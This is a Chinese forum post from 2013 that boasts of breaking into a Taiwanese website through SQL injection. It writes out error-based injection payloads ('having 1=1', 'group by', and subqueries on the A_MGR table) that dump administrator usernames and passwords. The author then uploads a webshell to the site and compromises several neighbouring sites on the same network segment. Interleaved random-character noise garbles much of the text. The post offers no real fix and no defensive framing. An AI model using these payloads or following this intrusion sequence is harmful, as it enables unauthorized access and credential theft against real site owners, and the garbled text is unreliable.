发现一个注入点
! H" Y, u+ ]8 Y% v8 a- Xhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
! }. B! ?4 |" ~) ] Y6 s0 x% T$ J2 O8 J3 b& w* i6 ^" k
习惯性的加’having1=1--
! { Y8 u% m/ w7 g ]% B
3 p: z+ _# G7 M# ^/ O$ D7 Shttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
6 F5 }4 }) u$ E& O' P; k7 v) {0 b9 D; v
0$ ]: m- z2 C6 z4 E9 C+ [: h, q' m' s
1 Z; c' ?; i6 s$ {6 m& |9 K爆出Diary_A.dl_Title（这时候很激动啊）
7 b% P9 r* N( }! P
& V" c# r& f. `5 p o* a" }0 E; s6 \那么继续- i+ v S) m/ v! y2 n
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
6 @9 }; k' b, @4 v! z/ V
' F9 _9 [9 l. u% K继续，一直爆下去
2 | r2 \5 v ^
2 \$ y! `' u2 T: E2 k2 P1 a爆到几个字段和表段 但是没找到需要的管理用户的字段
2 `- I/ {- {$ I
7 g2 n ?9 Q. j蛋疼了 怎么办 然后去后台登陆页看源码
5 V3 X- N% i2 Q& ^( l1 d
! S* {7 ?. \) W1 W) k0
/ F! s9 k: W) R2 e; d
$ A' g6 z( T( v" _Input name= “ADUID”
- [# v" U; y$ @4 o5 I4 ?Input name= “ADPWD”4 X# m' B8 m( Z. x8 Z6 i. N8 t8 C, s
5 C9 @) d% \1 h很幸运 找到了字段那就继续
0 r5 p: G8 [( v x" ^4 d找到之后开始爆用户7 X% ]* [. p m# O
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
! ^0 z% O: d# W1 d# n# X- v爆密码
5 V/ j; h1 ], M2 h) lhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—9 X( T" {+ {$ q( l6 h8 r
测试了下 这个注入点只能爆到文章哪里的表
2 Z! F8 B" D* g9 D2 Y1 V- g* y3 ^% u
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了/ a. \4 @& ^; f. y
4 M0 T! W( f% y8 U5 h- u+ S
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了5 p& M6 Z, U* x! T" O
" h5 G [8 s2 \' j) \1 k% u9 N# `
4736 S8 z- f6 w D
% K6 D( w& A' m: @进后台
/ T/ l1 P) }2 p, x# X$ c& m$ X
1 i4 x, K7 r& `
发现几个上传点 有的地方不能上传 而且防止恶意代码
7 r! G# E# N6 k8 q/ Y1 A; B" f- x h3 F
没办法 各种百度各种找大牛 找到一只好像可以突破的马" J I9 J& G5 G( Y- V" y
; K/ Q7 `) u+ \3 m) t4 j' H
; R& A+ p6 x9 _( B1 S
在系统管理那里直接上传 不过没有显示地址
8 |9 I# g5 Z9 q% Y. H
* r' H6 d( i9 O6 y& a3 t% Z' o再上传一次 抓包 搞定OK
# Z; q( d. Z' I5 b8 P! e- L) ~8 ?! t- W) Y* v( i8 i
2 S& q- I9 [1 Q" @# d7 H1 O/ Z M$ y9 x+ |( \! Y g' h1 g# D
472. U6 u/ ?& {9 k7 u# |
0 [, c: W g# y2 G" z6 S" ^
晚上不行了 去睡觉。。。
& p' H& r% S- N1 u第二天刚起床 闲的没事做继续日站吧
& g2 `' g! ^* A2 ]2 z4 w& @
- x( V1 M% E, E找个站 就把这个站的旁c扫了下+ F$ ?2 z! I1 Q7 B' L
# @$ q, l0 M3 W i5 N" }% ~0 h发现c段也有一个购物站 ，然后还和这个站的模板差不多
3 i' a3 r X& D. F; \9 s* k
. F9 c- x8 S7 C就找到会员登录口测试
+ c1 {" I: ~, }. |% D" l g! X, D! Q2 B/ m) B8 `1 o
'and (select top 1 MGR_UID from A_MGR)>0—
5 v; _9 U1 d4 o) n( f3 L4 W. U6 Z; R果断爆到了 这时候我很激动 通杀
* k4 J$ A+ o9 k% H: g8 T6 w- S0 n
% y' u% q, B, C8 J3 |0 U再次翻c段
; l- U+ H6 w/ z0 Q2 {1 i0 C- \( G) P" U7 b" h, c; E/ [# q) p
翻出几个站 都成功拿下
* X6 u9 K! ~' |+ ]- `
& n0 F+ X; a- j, m- J+ [
" O( Q4 f" L( {; u1 D9 \- P$ y# P3 f9 \; j* m: |& V
修复方案：2 _/ Q N6 R* w# |$ G5 C& I
他们比我专业 / y1 h! C% _% @7 \6 |* Y& q: z
2 H9 N/ J8 {* |3 y
. C& I9 W7 K6 H( b* }- l0 v
; [0 _: I# y, A' P `) {, Z
|
发表于 2013-4-4 17:40:38
收藏
支持
反对